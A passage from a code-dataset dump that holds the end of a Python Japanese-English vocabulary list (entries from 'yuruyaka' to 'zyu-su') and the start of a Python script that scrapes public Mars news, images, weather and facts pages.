off\"\n\t},\n\n\t{\n\t\t'kana':'ゆるやか',\n\t\t'romaji':'yuruyaka',\n\t\t'kanji':'緩やか',\n\t\t'definition':\"lenient\"\n\t},\n\n\t{\n\t\t'kana':'ゆさぶる',\n\t\t'romaji':'yusaburu',\n\t\t'kanji':'揺さぶる',\n\t\t'definition':\"to shake;to jolt;to rock;to swing\"\n\t},\n\n\t{\n\t\t'kana':'ゆしゅつ',\n\t\t'romaji':'yushutsu',\n\t\t'kanji':'輸出',\n\t\t'definition':\"export\"\n\t},\n\n\t{\n\t\t'kana':'ゆそう',\n\t\t'romaji':'yusou',\n\t\t'kanji':'輸送',\n\t\t'definition':\"transport;transportation\"\n\t},\n\n\t{\n\t\t'kana':'ゆたか',\n\t\t'romaji':'yutaka',\n\t\t'kanji':'豊か',\n\t\t'definition':\"abundant;wealthy;plentiful;rich\"\n\t},\n\n\t{\n\t\t'kana':'ゆとり',\n\t\t'romaji':'yutori',\n\t\t'kanji':'',\n\t\t'definition':\"reserve;affluence;room;time (to spare)\"\n\t},\n\n\t{\n\t\t'kana':'ゆうべ',\n\t\t'romaji':'yuube',\n\t\t'kanji':'夕べ',\n\t\t'definition':\"evening\"\n\t},\n\n\t{\n\t\t'kana':'ゆうび',\n\t\t'romaji':'yuubi',\n\t\t'kanji':'優美',\n\t\t'definition':\"grace;refinement;elegance\"\n\t},\n\n\t{\n\t\t'kana':'ゆうびん',\n\t\t'romaji':'yuubin',\n\t\t'kanji':'郵便',\n\t\t'definition':\"mail;postal service\"\n\t},\n\n\t{\n\t\t'kana':'ゆうぼく',\n\t\t'romaji':'yuuboku',\n\t\t'kanji':'遊牧',\n\t\t'definition':\"nomadism\"\n\t},\n\n\t{\n\t\t'kana':'ゆうぼう',\n\t\t'romaji':'yuubou',\n\t\t'kanji':'有望',\n\t\t'definition':\"good prospects;full of hope;promising\"\n\t},\n\n\t{\n\t\t'kana':'ゆうだち',\n\t\t'romaji':'yuudachi',\n\t\t'kanji':'夕立',\n\t\t'definition':\"(sudden) evening shower (rain)\"\n\t},\n\n\t{\n\t\t'kana':'ゆうどう',\n\t\t'romaji':'yuudou',\n\t\t'kanji':'誘導',\n\t\t'definition':\"guidance;leading;induction;introduction;incitement;inducement\"\n\t},\n\n\t{\n\t\t'kana':'ゆうえき',\n\t\t'romaji':'yuueki',\n\t\t'kanji':'有益',\n\t\t'definition':\"beneficial;profitable\"\n\t},\n\n\t{\n\t\t'kana':'ゆうえんち',\n\t\t'romaji':'yuuenchi',\n\t\t'kanji':'遊園地',\n\t\t'definition':\"amusement park\"\n\t},\n\n\t{\n\t\t'kana':'ゆうえつ',\n\t\t'romaji':'yuuetsu',\n\t\t'kanji':'優越',\n\t\t'definition':\"supremacy;predominance;being superior to\"\n\t},\n\n\t{\n\t\t'kana':'ゆうがた',\n\t\t'romaji':'yuugata',\n\t\t'kanji':'夕方',\n\t\t'definition':\"evening\"\n\t},\n\n\t{\n\t\t'kana':'ゆうぐれ',\n\t\t'romaji':'yuugure',\n\t\t'kanji':'夕暮れ',\n\t\t'definition':\"evening;(evening) twilight\"\n\t},\n\n\t{\n\t\t'kana':'ゆうひ',\n\t\t'romaji':'yuuhi',\n\t\t'kanji':'夕日',\n\t\t'definition':\"(in) the evening sun;setting sun\"\n\t},\n\n\t{\n\t\t'kana':'ゆうい',\n\t\t'romaji':'yuui',\n\t\t'kanji':'優位',\n\t\t'definition':\"predominance;ascendancy;superiority\"\n\t},\n\n\t{\n\t\t'kana':'ゆうじん',\n\t\t'romaji':'yuujin',\n\t\t'kanji':'友人',\n\t\t'definition':\"friend\"\n\t},\n\n\t{\n\t\t'kana':'ゆうじょう',\n\t\t'romaji':'yuujyou',\n\t\t'kanji':'友情',\n\t\t'definition':\"friendship;fellowship\"\n\t},\n\n\t{\n\t\t'kana':'ゆうかん',\n\t\t'romaji':'yuukan',\n\t\t'kanji':'夕刊',\n\t\t'definition':\"evening paper\"\n\t},\n\n\t{\n\t\t'kana':'ゆうかん',\n\t\t'romaji':'yuukan',\n\t\t'kanji':'勇敢',\n\t\t'definition':\"bravery;heroism;gallantry\"\n\t},\n\n\t{\n\t\t'kana':'ゆうき',\n\t\t'romaji':'yuuki',\n\t\t'kanji':'勇気',\n\t\t'definition':\"courage;bravery;valour;nerve;boldness\"\n\t},\n\n\t{\n\t\t'kana':'ゆうき',\n\t\t'romaji':'yuuki',\n\t\t'kanji':'有機',\n\t\t'definition':\"organic\"\n\t},\n\n\t{\n\t\t'kana':'ゆうこう',\n\t\t'romaji':'yuukou',\n\t\t'kanji':'有効',\n\t\t'definition':\"validity;availability;effectiveness\"\n\t},\n\n\t{\n\t\t'kana':'ゆうこう',\n\t\t'romaji':'yuukou',\n\t\t'kanji':'友好',\n\t\t'definition':\"friendship\"\n\t},\n\n\t{\n\t\t'kana':'ゆうめい',\n\t\t'romaji':'yuumei',\n\t\t'kanji':'有名',\n\t\t'definition':\"fame\"\n\t},\n\n\t{\n\t\t'kana':'ゆうのう',\n\t\t'romaji':'yuunou',\n\t\t'kanji':'有能',\n\t\t'definition':\"able;capable;efficient;skill\"\n\t},\n\n\t{\n\t\t'kana':'ゆうれい',\n\t\t'romaji':'yuurei',\n\t\t'kanji':'幽霊',\n\t\t'definition':\"ghost;specter;apparition;phantom\"\n\t},\n\n\t{\n\t\t'kana':'ゆうり',\n\t\t'romaji':'yuuri',\n\t\t'kanji':'有利',\n\t\t'definition':\"advantageous;better;profitable;lucrative\"\n\t},\n\n\t{\n\t\t'kana':'ゆうりょく',\n\t\t'romaji':'yuuryoku',\n\t\t'kanji':'有力',\n\t\t'definition':\"1. influence;prominence; 2. potent\"\n\t},\n\n\t{\n\t\t'kana':'ゆうりょう',\n\t\t'romaji':'yuuryou',\n\t\t'kanji':'有料',\n\t\t'definition':\"admission-paid;toll\"\n\t},\n\n\t{\n\t\t'kana':'ゆうせい',\n\t\t'romaji':'yuusei',\n\t\t'kanji':'優勢',\n\t\t'definition':\"superiority;superior power;predominance;preponderance\"\n\t},\n\n\t{\n\t\t'kana':'ゆうせん',\n\t\t'romaji':'yuusen',\n\t\t'kanji':'優先',\n\t\t'definition':\"preference;priority\"\n\t},\n\n\t{\n\t\t'kana':'ゆうし',\n\t\t'romaji':'yuushi',\n\t\t'kanji':'融資',\n\t\t'definition':\"financing;loan\"\n\t},\n\n\t{\n\t\t'kana':'ゆうしょう',\n\t\t'romaji':'yuushou',\n\t\t'kanji':'優勝',\n\t\t'definition':\"overall victory;championship\"\n\t},\n\n\t{\n\t\t'kana':'ゆうしゅう',\n\t\t'romaji':'yuushuu',\n\t\t'kanji':'優秀',\n\t\t'definition':\"superiority;excellence\"\n\t},\n\n\t{\n\t\t'kana':'ゆうそう',\n\t\t'romaji':'yuusou',\n\t\t'kanji':'郵送',\n\t\t'definition':\"mailing\"\n\t},\n\n\t{\n\t\t'kana':'ゆうする',\n\t\t'romaji':'yuusuru',\n\t\t'kanji':'有する',\n\t\t'definition':\"to own;to be endowed with\"\n\t},\n\n\t{\n\t\t'kana':'ゆううつ',\n\t\t'romaji':'yuuutsu',\n\t\t'kanji':'憂鬱',\n\t\t'definition':\"depression;melancholy;dejection;gloom\"\n\t},\n\n\t{\n\t\t'kana':'ゆうわく',\n\t\t'romaji':'yuuwaku',\n\t\t'kanji':'誘惑',\n\t\t'definition':\"temptation;allurement;lure\"\n\t},\n\n\t{\n\t\t'kana':'ゆうやけ',\n\t\t'romaji':'yuuyake',\n\t\t'kanji':'夕焼け',\n\t\t'definition':\"sunset\"\n\t},\n\n\t{\n\t\t'kana':'ゆうゆう',\n\t\t'romaji':'yuuyuu',\n\t\t'kanji':'悠々',\n\t\t'definition':\"quiet;calm;leisurely\"\n\t},\n\n\t{\n\t\t'kana':'ゆうずう',\n\t\t'romaji':'yuuzuu',\n\t\t'kanji':'融通',\n\t\t'definition':\"lending (money);accommodation;adaptability;versatility;finance\"\n\t},\n\n\t{\n\t\t'kana':'ゆずる',\n\t\t'romaji':'yuzuru',\n\t\t'kanji':'譲る',\n\t\t'definition':\"to turn over;to assign;to hand over;to transmit;to convey;to sell;to dispose of;to yield;to surrender\"\n\t},\n\n\t{\n\t\t'kana':'ざぶとん',\n\t\t'romaji':'zabuton',\n\t\t'kanji':'座布団',\n\t\t'definition':\"cushion (Japanese);square cushion used when sitting on one's knees in a tatami-mat floor\"\n\t},\n\n\t{\n\t\t'kana':'ざだんかい',\n\t\t'romaji':'zadankai',\n\t\t'kanji':'座談会',\n\t\t'definition':\"symposium;round-table discussion\"\n\t},\n\n\t{\n\t\t'kana':'ざひょう',\n\t\t'romaji':'zahyou',\n\t\t'kanji':'座標',\n\t\t'definition':\"coordinate(s)\"\n\t},\n\n\t{\n\t\t'kana':'ざい',\n\t\t'romaji':'zai',\n\t\t'kanji':'財',\n\t\t'definition':\"fortune;riches\"\n\t},\n\n\t{\n\t\t'kana':'ざいがく',\n\t\t'romaji':'zaigaku',\n\t\t'kanji':'在学',\n\t\t'definition':\"(enrolled) in school\"\n\t},\n\n\t{\n\t\t'kana':'ざいげん',\n\t\t'romaji':'zaigen',\n\t\t'kanji':'財源',\n\t\t'definition':\"source of funds;resources;finances\"\n\t},\n\n\t{\n\t\t'kana':'ざいこ',\n\t\t'romaji':'zaiko',\n\t\t'kanji':'在庫',\n\t\t'definition':\"stockpile;stock\"\n\t},\n\n\t{\n\t\t'kana':'ざいもく',\n\t\t'romaji':'zaimoku',\n\t\t'kanji':'材木',\n\t\t'definition':\"lumber;timber\"\n\t},\n\n\t{\n\t\t'kana':'ざいりょう',\n\t\t'romaji':'zairyou',\n\t\t'kanji':'材料',\n\t\t'definition':\"ingredients;material\"\n\t},\n\n\t{\n\t\t'kana':'ざいさん',\n\t\t'romaji':'zaisan',\n\t\t'kanji':'財産',\n\t\t'definition':\"property;fortune;assets\"\n\t},\n\n\t{\n\t\t'kana':'ざいせい',\n\t\t'romaji':'zaisei',\n\t\t'kanji':'財政',\n\t\t'definition':\"economy;financial affairs\"\n\t},\n\n\t{\n\t\t'kana':'ざっか',\n\t\t'romaji':'zaka',\n\t\t'kanji':'雑貨',\n\t\t'definition':\"miscellaneous goods;general goods;sundries\"\n\t},\n\n\t{\n\t\t'kana':'ざんだか',\n\t\t'romaji':'zandaka',\n\t\t'kanji':'残高',\n\t\t'definition':\"(bank) balance;remainder\"\n\t},\n\n\t{\n\t\t'kana':'ざんきん',\n\t\t'romaji':'zankin',\n\t\t'kanji':'残金',\n\t\t'definition':\"remaining money\"\n\t},\n\n\t{\n\t\t'kana':'ざんこく',\n\t\t'romaji':'zankoku',\n\t\t'kanji':'残酷',\n\t\t'definition':\"cruelty;harshness\"\n\t},\n\n\t{\n\t\t'kana':'ざんねん',\n\t\t'romaji':'zannen',\n\t\t'kanji':'残念',\n\t\t'definition':\"deplorable;bad luck;regret;disappointment\"\n\t},\n\n\t{\n\t\t'kana':'ざせき',\n\t\t'romaji':'zaseki',\n\t\t'kanji':'座席',\n\t\t'definition':\"seat\"\n\t},\n\n\t{\n\t\t'kana':'ざっし',\n\t\t'romaji':'zashi',\n\t\t'kanji':'雑誌',\n\t\t'definition':\"journal;magazine\"\n\t},\n\n\t{\n\t\t'kana':'ざしき',\n\t\t'romaji':'zashiki',\n\t\t'kanji':'座敷',\n\t\t'definition':\"tatami room\"\n\t},\n\n\t{\n\t\t'kana':'ざっと',\n\t\t'romaji':'zato',\n\t\t'kanji':'',\n\t\t'definition':\"roughly;in round numbers\"\n\t},\n\n\t{\n\t\t'kana':'ざつ',\n\t\t'romaji':'zatsu',\n\t\t'kanji':'雑',\n\t\t'definition':\"rough;crude\"\n\t},\n\n\t{\n\t\t'kana':'ざつぼく',\n\t\t'romaji':'zatsuboku',\n\t\t'kanji':'雑木',\n\t\t'definition':\"various kinds of small trees;assorted trees\"\n\t},\n\n\t{\n\t\t'kana':'ざつだん',\n\t\t'romaji':'zatsudan',\n\t\t'kanji':'雑談',\n\t\t'definition':\"chatting;idle talk\"\n\t},\n\n\t{\n\t\t'kana':'ざつおん',\n\t\t'romaji':'zatsuon',\n\t\t'kanji':'雑音',\n\t\t'definition':\"noise (jarring grating)\"\n\t},\n\n\t{\n\t\t'kana':'ぜひ',\n\t\t'romaji':'zehi',\n\t\t'kanji':'是非',\n\t\t'definition':\"certainly;without fail\"\n\t},\n\n\t{\n\t\t'kana':'ぜひとも',\n\t\t'romaji':'zehitomo',\n\t\t'kanji':'是非とも',\n\t\t'definition':\"by all means (with sense of not taking 'no' for an answer)\"\n\t},\n\n\t{\n\t\t'kana':'ぜいかん',\n\t\t'romaji':'zeikan',\n\t\t'kanji':'税関',\n\t\t'definition':\"customs house\"\n\t},\n\n\t{\n\t\t'kana':'ぜいきん',\n\t\t'romaji':'zeikin',\n\t\t'kanji':'税金',\n\t\t'definition':\"tax;duty\"\n\t},\n\n\t{\n\t\t'kana':'ぜいむしょ',\n\t\t'romaji':'zeimusho',\n\t\t'kanji':'税務署',\n\t\t'definition':\"tax office\"\n\t},\n\n\t{\n\t\t'kana':'ぜいたく',\n\t\t'romaji':'zeitaku',\n\t\t'kanji':'贅沢',\n\t\t'definition':\"luxury;extravagance\"\n\t},\n\n\t{\n\t\t'kana':'ゼミ',\n\t\t'romaji':'zemi',\n\t\t'kanji':'',\n\t\t'definition':\"(de:) (n) seminar\"\n\t},\n\n\t{\n\t\t'kana':'ぜん',\n\t\t'romaji':'zen',\n\t\t'kanji':'全',\n\t\t'definition':\"all;whole;entire;complete;overall;pan\"\n\t},\n\n\t{\n\t\t'kana':'ぜん',\n\t\t'romaji':'zen',\n\t\t'kanji':'善',\n\t\t'definition':\"good;goodness;right;virtue\"\n\t},\n\n\t{\n\t\t'kana':'ぜん',\n\t\t'romaji':'zen',\n\t\t'kanji':'禅',\n\t\t'definition':\"Zen (Buddhism)\"\n\t},\n\n\t{\n\t\t'kana':'ぜん',\n\t\t'romaji':'zen',\n\t\t'kanji':'膳',\n\t\t'definition':\"(small) table;tray;meal\"\n\t},\n\n\t{\n\t\t'kana':'ぜんぶ',\n\t\t'romaji':'zenbu',\n\t\t'kanji':'全部',\n\t\t'definition':\"all;entire;whole;altogether\"\n\t},\n\n\t{\n\t\t'kana':'ぜんご',\n\t\t'romaji':'zengo',\n\t\t'kanji':'前後',\n\t\t'definition':\"around;throughout;front and back;before and behind;before and after;about that (time);longitudinal;context;nearly;approximately\"\n\t},\n\n\t{\n\t\t'kana':'ぜんいん',\n\t\t'romaji':'zenin',\n\t\t'kanji':'全員',\n\t\t'definition':\"all members (unanimity);all hands;the whole crew\"\n\t},\n\n\t{\n\t\t'kana':'ぜんかい',\n\t\t'romaji':'zenkai',\n\t\t'kanji':'全快',\n\t\t'definition':\"complete recovery of health\"\n\t},\n\n\t{\n\t\t'kana':'ぜんこく',\n\t\t'romaji':'zenkoku',\n\t\t'kanji':'全国',\n\t\t'definition':\"country-wide;nation-wide;whole country;national\"\n\t},\n\n\t{\n\t\t'kana':'ぜんめつ',\n\t\t'romaji':'zenmetsu',\n\t\t'kanji':'全滅',\n\t\t'definition':\"annihilation\"\n\t},\n\n\t{\n\t\t'kana':'ぜんぱん',\n\t\t'romaji':'zenpan',\n\t\t'kanji':'全般',\n\t\t'definition':\"(the) whole;universal;wholly;general\"\n\t},\n\n\t{\n\t\t'kana':'ぜんれい',\n\t\t'romaji':'zenrei',\n\t\t'kanji':'前例',\n\t\t'definition':\"precedent\"\n\t},\n\n\t{\n\t\t'kana':'ぜんりょく',\n\t\t'romaji':'zenryoku',\n\t\t'kanji':'全力',\n\t\t'definition':\"all one's power;whole energy\"\n\t},\n\n\t{\n\t\t'kana':'ぜんりょう',\n\t\t'romaji':'zenryou',\n\t\t'kanji':'善良',\n\t\t'definition':\"goodness;excellence;virtue\"\n\t},\n\n\t{\n\t\t'kana':'ぜんせい',\n\t\t'romaji':'zensei',\n\t\t'kanji':'全盛',\n\t\t'definition':\"height of prosperity\"\n\t},\n\n\t{\n\t\t'kana':'ぜんしゃ',\n\t\t'romaji':'zensha',\n\t\t'kanji':'前者',\n\t\t'definition':\"the former\"\n\t},\n\n\t{\n\t\t'kana':'ぜんしん',\n\t\t'romaji':'zenshin',\n\t\t'kanji':'前進',\n\t\t'definition':\"advance;drive;progress\"\n\t},\n\n\t{\n\t\t'kana':'ぜんしん',\n\t\t'romaji':'zenshin',\n\t\t'kanji':'全身',\n\t\t'definition':\"the whole body;full-length (portrait)\"\n\t},\n\n\t{\n\t\t'kana':'ぜんしゅう',\n\t\t'romaji':'zenshuu',\n\t\t'kanji':'全集',\n\t\t'definition':\"complete works\"\n\t},\n\n\t{\n\t\t'kana':'ぜんたい',\n\t\t'romaji':'zentai',\n\t\t'kanji':'全体',\n\t\t'definition':\"whole;entirety;whatever (is the matter)\"\n\t},\n\n\t{\n\t\t'kana':'ぜんてい',\n\t\t'romaji':'zentei',\n\t\t'kanji':'前提',\n\t\t'definition':\"preamble;premise;reason;prerequisite\"\n\t},\n\n\t{\n\t\t'kana':'ぜんと',\n\t\t'romaji':'zento',\n\t\t'kanji':'前途',\n\t\t'definition':\"future prospects;outlook;the journey ahead\"\n\t},\n\n\t{\n\t\t'kana':'ぜんぜん',\n\t\t'romaji':'zenzen',\n\t\t'kanji':'全然',\n\t\t'definition':\"wholly;entirely;completely;not at all (neg. verb)\"\n\t},\n\n\t{\n\t\t'kana':'ぜっぱん',\n\t\t'romaji':'zeppan',\n\t\t'kanji':'絶版',\n\t\t'definition':\"out of print\"\n\t},\n\n\t{\n\t\t'kana':'ゼリー',\n\t\t'romaji':'zeri-',\n\t\t'kanji':'',\n\t\t'definition':\"1. jelly; 2. Jerry\"\n\t},\n\n\t{\n\t\t'kana':'ゼロ',\n\t\t'romaji':'zero',\n\t\t'kanji':'',\n\t\t'definition':\"zero\"\n\t},\n\n\t{\n\t\t'kana':'ぜせい',\n\t\t'romaji':'zesei',\n\t\t'kanji':'是正',\n\t\t'definition':\"correction;revision\"\n\t},\n\n\t{\n\t\t'kana':'ぜつぼう',\n\t\t'romaji':'zetsubou',\n\t\t'kanji':'絶望',\n\t\t'definition':\"despair;hopelessness\"\n\t},\n\n\t{\n\t\t'kana':'ぜつめつ',\n\t\t'romaji':'zetsumetsu',\n\t\t'kanji':'絶滅',\n\t\t'definition':\"destruction;extinction\"\n\t},\n\n\t{\n\t\t'kana':'ぜったい',\n\t\t'romaji':'zettai',\n\t\t'kanji':'絶対',\n\t\t'definition':\"absolute;unconditional;absoluteness\"\n\t},\n\n\t{\n\t\t'kana':'ジーンズ',\n\t\t'romaji':'zi-nzu',\n\t\t'kanji':'',\n\t\t'definition':\"jeans\"\n\t},\n\n\t{\n\t\t'kana':'ジーパン',\n\t\t'romaji':'zi-pan',\n\t\t'kanji':'',\n\t\t'definition':\"jeans (lit: jeans pants);dungarees\"\n\t},\n\n\t{\n\t\t'kana':'ぞい',\n\t\t'romaji':'zoi',\n\t\t'kanji':'沿い',\n\t\t'definition':\"along\"\n\t},\n\n\t{\n\t\t'kana':'ぞくする',\n\t\t'romaji':'zokusuru',\n\t\t'kanji':'属する',\n\t\t'definition':\"to belong to;to come under;to be affiliated with;to be subject to\"\n\t},\n\n\t{\n\t\t'kana':'ぞくぞく',\n\t\t'romaji':'zokuzoku',\n\t\t'kanji':'続々',\n\t\t'definition':\"successively;one after another\"\n\t},\n\n\t{\n\t\t'kana':'ぞんじる',\n\t\t'romaji':'zonjiru',\n\t\t'kanji':'存じる',\n\t\t'definition':\"to know\"\n\t},\n\n\t{\n\t\t'kana':'ぞんざい',\n\t\t'romaji':'zonzai',\n\t\t'kanji':'',\n\t\t'definition':\"rude;careless;slovenly\"\n\t},\n\n\t{\n\t\t'kana':'ぞう',\n\t\t'romaji':'zou',\n\t\t'kanji':'像',\n\t\t'definition':\"statue;image;figure;picture;portrait\"\n\t},\n\n\t{\n\t\t'kana':'ぞうだい',\n\t\t'romaji':'zoudai',\n\t\t'kanji':'増大',\n\t\t'definition':\"enlargement\"\n\t},\n\n\t{\n\t\t'kana':'ぞうげん',\n\t\t'romaji':'zougen',\n\t\t'kanji':'増減',\n\t\t'definition':\"increase and decrease;fluctuation\"\n\t},\n\n\t{\n\t\t'kana':'ぞうか',\n\t\t'romaji':'zouka',\n\t\t'kanji':'増加',\n\t\t'definition':\"increase;addition\"\n\t},\n\n\t{\n\t\t'kana':'ぞうきん',\n\t\t'romaji':'zoukin',\n\t\t'kanji':'雑巾',\n\t\t'definition':\"house-cloth;dust cloth\"\n\t},\n\n\t{\n\t\t'kana':'ぞうきょう',\n\t\t'romaji':'zoukyou',\n\t\t'kanji':'増強',\n\t\t'definition':\"augment;reinforce;increase\"\n\t},\n\n\t{\n\t\t'kana':'ぞうり',\n\t\t'romaji':'zouri',\n\t\t'kanji':'草履',\n\t\t'definition':\"zoori (Japanese footwear);sandals\"\n\t},\n\n\t{\n\t\t'kana':'ぞうせん',\n\t\t'romaji':'zousen',\n\t\t'kanji':'造船',\n\t\t'definition':\"shipbuilding\"\n\t},\n\n\t{\n\t\t'kana':'ぞうしん',\n\t\t'romaji':'zoushin',\n\t\t'kanji':'増進',\n\t\t'definition':\"promoting;increase;advance\"\n\t},\n\n\t{\n\t\t'kana':'ぞうしょう',\n\t\t'romaji':'zoushou',\n\t\t'kanji':'蔵相',\n\t\t'definition':\"Minister of Finance\"\n\t},\n\n\t{\n\t\t'kana':'ず',\n\t\t'romaji':'zu',\n\t\t'kanji':'図',\n\t\t'definition':\"figure (e.g. Fig 1);drawing;picture;illustration\"\n\t},\n\n\t{\n\t\t'kana':'ずばり',\n\t\t'romaji':'zubari',\n\t\t'kanji':'',\n\t\t'definition':\"decisively;decidedly;once and for all;unreservedly;frankly\"\n\t},\n\n\t{\n\t\t'kana':'ズボン',\n\t\t'romaji':'zubon',\n\t\t'kanji':'',\n\t\t'definition':\"(fr:) (n) trousers (fr: jupon)\"\n\t},\n\n\t{\n\t\t'kana':'ずぶぬれ',\n\t\t'romaji':'zubunure',\n\t\t'kanji':'ずぶ濡れ',\n\t\t'definition':\"soaked;dripping wet\"\n\t},\n\n\t{\n\t\t'kana':'ずひょう',\n\t\t'romaji':'zuhyou',\n\t\t'kanji':'図表',\n\t\t'definition':\"chart;diagram;graph\"\n\t},\n\n\t{\n\t\t'kana':'ずいぶん',\n\t\t'romaji':'zuibun',\n\t\t'kanji':'随分',\n\t\t'definition':\"extremely\"\n\t},\n\n\t{\n\t\t'kana':'ずいひつ',\n\t\t'romaji':'zuihitsu',\n\t\t'kanji':'随筆',\n\t\t'definition':\"essays;miscellaneous writings\"\n\t},\n\n\t{\n\t\t'kana':'ずかん',\n\t\t'romaji':'zukan',\n\t\t'kanji':'図鑑',\n\t\t'definition':\"picture book\"\n\t},\n\n\t{\n\t\t'kana':'ずけい',\n\t\t'romaji':'zukei',\n\t\t'kanji':'図形',\n\t\t'definition':\"figure\"\n\t},\n\n\t{\n\t\t'kana':'ずのう',\n\t\t'romaji':'zunou',\n\t\t'kanji':'頭脳',\n\t\t'definition':\"head;brains;intellect\"\n\t},\n\n\t{\n\t\t'kana':'ずらす',\n\t\t'romaji':'zurasu',\n\t\t'kanji':'',\n\t\t'definition':\"to put off;to delay\"\n\t},\n\n\t{\n\t\t'kana':'ずらっと',\n\t\t'romaji':'zurato',\n\t\t'kanji':'',\n\t\t'definition':\"in a line;in a row\"\n\t},\n\n\t{\n\t\t'kana':'ずれ',\n\t\t'romaji':'zure',\n\t\t'kanji':'',\n\t\t'definition':\"gap;slippage\"\n\t},\n\n\t{\n\t\t'kana':'ずれる',\n\t\t'romaji':'zureru',\n\t\t'kanji':'',\n\t\t'definition':\"to slide;to slip off\"\n\t},\n\n\t{\n\t\t'kana':'ずるい',\n\t\t'romaji':'zurui',\n\t\t'kanji':'狡い',\n\t\t'definition':\"sly;cunning\"\n\t},\n\n\t{\n\t\t'kana':'ずるずる',\n\t\t'romaji':'zuruzuru',\n\t\t'kanji':'',\n\t\t'definition':\"sound or act of dragging;loose;inconclusive but unwanted situation;trailingly\"\n\t},\n\n\t{\n\t\t'kana':'ずっと',\n\t\t'romaji':'zuto',\n\t\t'kanji':'',\n\t\t'definition':\"consecutively;throughout;a lot\"\n\t},\n\n\t{\n\t\t'kana':'ずつう',\n\t\t'romaji':'zutsuu',\n\t\t'kanji':'頭痛',\n\t\t'definition':\"headache\"\n\t},\n\n\t{\n\t\t'kana':'ずうずうしい',\n\t\t'romaji':'zuuzuushii',\n\t\t'kanji':'図々しい',\n\t\t'definition':\"impudent;shameless\"\n\t},\n\n\t{\n\t\t'kana':'ジャム',\n\t\t'romaji':'zyamu',\n\t\t'kanji':'',\n\t\t'definition':\"jam\"\n\t},\n\n\t{\n\t\t'kana':'ジャーナリスト',\n\t\t'romaji':'zya-narisuto',\n\t\t'kanji':'',\n\t\t'definition':\"journalist\"\n\t},\n\n\t{\n\t\t'kana':'ジャンボ',\n\t\t'romaji':'zyanbo',\n\t\t'kanji':'',\n\t\t'definition':\"jumbo\"\n\t},\n\n\t{\n\t\t'kana':'ジャンパー',\n\t\t'romaji':'zyanpa-',\n\t\t'kanji':'',\n\t\t'definition':\"jacket;jumper\"\n\t},\n\n\t{\n\t\t'kana':'ジャンプ',\n\t\t'romaji':'zyanpu',\n\t\t'kanji':'',\n\t\t'definition':\"jump\"\n\t},\n\n\t{\n\t\t'kana':'ジャンル',\n\t\t'romaji':'zyanru',\n\t\t'kanji':'',\n\t\t'definition':\"genre\"\n\t},\n\n\t{\n\t\t'kana':'ジャズ',\n\t\t'romaji':'zyazu',\n\t\t'kanji':'',\n\t\t'definition':\"jazz\"\n\t},\n\n\t{\n\t\t'kana':'ジェットき',\n\t\t'romaji':'zyetoki',\n\t\t'kanji':'ジェット機',\n\t\t'definition':\"jet aeroplane\"\n\t},\n\n\t{\n\t\t'kana':'ジュース',\n\t\t'romaji':'zyu-su',\n\t\t'kanji':'',\n\t\t'definition':\"juice;soft drink (both carbonated and uncarbonated);deuce\"\n\t},\n\n]\n","repo_name":"AE0L/jap-eng-dictionary","sub_path":"jap_data.py","file_name":"jap_data.py","file_ext":"py","file_size_in_byte":919874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39629123185","text":"# Import BeautifulSoup\nfrom bs4 import BeautifulSoup as bs\nimport pandas as pd\nimport time\n# Import Splinter and set the chromedriver path\nfrom splinter import Browser\n\nsleeptime = 0.3\n\n\ndef init_browser():\n '''\n Instantiate the browser\n '''\n executable_path = {\"executable_path\": \"./chromedriver\"}\n return Browser(\"chrome\", **executable_path, headless=False)\n# def init_browser()\n\n\ndef visit_scrape_soup(b, url):\n '''\n Visit the url and scrape into soup\n '''\n b.visit(url)\n time.sleep(sleeptime)\n # Scrape the browser into soup\n html = b.html\n return bs(html, 'lxml')\n# def visit_scrape_soup(b, url)\n\n\ndef scrape_news(brwsr):\n '''\n NASA Mars News:\n Scrape the [NASA Mars News Site](https://mars.nasa.gov/news/) and collect the latest News Title and Paragraph Text.\n '''\n # Visit the URL and scrape\n mnewsurl = \"https://mars.nasa.gov/news/\"\n nsoup = visit_scrape_soup(brwsr, mnewsurl)\n\n # Find the first news title and paragraph\n news = nsoup.find(\"li\", class_=\"slide\")\n ndict = dict()\n ndict[\"title\"] = news.find('div', class_='content_title').text\n ndict[\"para\"] = news.find('div', class_='rollover_description_inner').text\n\n return ndict\n# def scrape_news(brwsr)\n\n\ndef scrape_fimg(brwsr):\n '''\n JPL Mars Space Images - Featured Image:\n Visit the url for JPL Featured Space Image and\n find the image url for the current Featured Mars Image.\n '''\n jplurl = \"https://www.jpl.nasa.gov\"\n # Visit the URL and scrape\n img_search_url = f\"{jplurl}/spaceimages/?search=&category=Mars\"\n imgsoup = visit_scrape_soup(brwsr, img_search_url)\n\n # Find path to wallpaper size image of the current Featured Mars Image\n imgitem = imgsoup.find(\"article\", class_=\"carousel_item\")\n imgpath = imgitem['style'].split(\"'\")[1]\n imgurl = f\"{jplurl}{imgpath}\"\n\n return imgurl\n# def scrape_fimg(brwsr)\n\n\ndef scrape_weather(brwsr):\n '''\n Mars Weather:\n Visit the Mars Weather twitter account and\n scrape the latest Mars weather tweet from the page.\n '''\n # Visit the URL and scrape\n wurl = \"https://twitter.com/marswxreport?lang=en\"\n wsoup = visit_scrape_soup(brwsr, wurl)\n\n # Get list of tweets\n tlist = wsoup.find_all(\"li\", class_=\"js-stream-item\")\n wtext = None\n wkeywords = {'Sol', 'pressure', 'daylight'}\n\n # Loop through and find the most recent weather tweet\n for t in tlist:\n if t.div[\"data-screen-name\"] == \"MarsWxReport\":\n mwtext = t.find(class_=\"tweet-text\").a.previousSibling\n if wkeywords.issubset(set(mwtext.split())):\n wtext = mwtext\n break\n\n return wtext\n# def scrape_weather(brwsr)\n\n\ndef scrape_facts(brwsr):\n '''\n Mars Facts:\n Visit the Mars Facts webpage and\n use Pandas to scrape the table containing facts about the planet including Diameter, Mass, etc.\n '''\n # Use Panda's `read_html` to parse the url\n furl = \"http://space-facts.com/mars/\"\n ftables = pd.read_html(furl)\n\n # Get the table dataframe and update column names\n fdf = ftables[0]\n fdf.columns = ['Parameter', 'Value']\n\n # Use to_html to generate HTML tables from dataframe.\n fhtml = fdf.to_html(index=False,\n justify=\"center\",\n classes=\"table table-striped table-hover table-dark table-bordered table-sm\")\n\n # Strip unwanted newlines to clean up the table.\n fhtml = fhtml.replace('\\n', '')\n\n return fhtml\n# def scrape_facts(brwsr)\n\n\ndef scrape_hemisphere(b, num):\n '''\n Mars Hemispheres:\n Visit the USGS Astrogeology site to obtain high resolution images for the requested Mars hemisphere.\n '''\n # Design an XPATH selector to grab the hemisphere images\n xpath = '//div[@class=\"collapsible 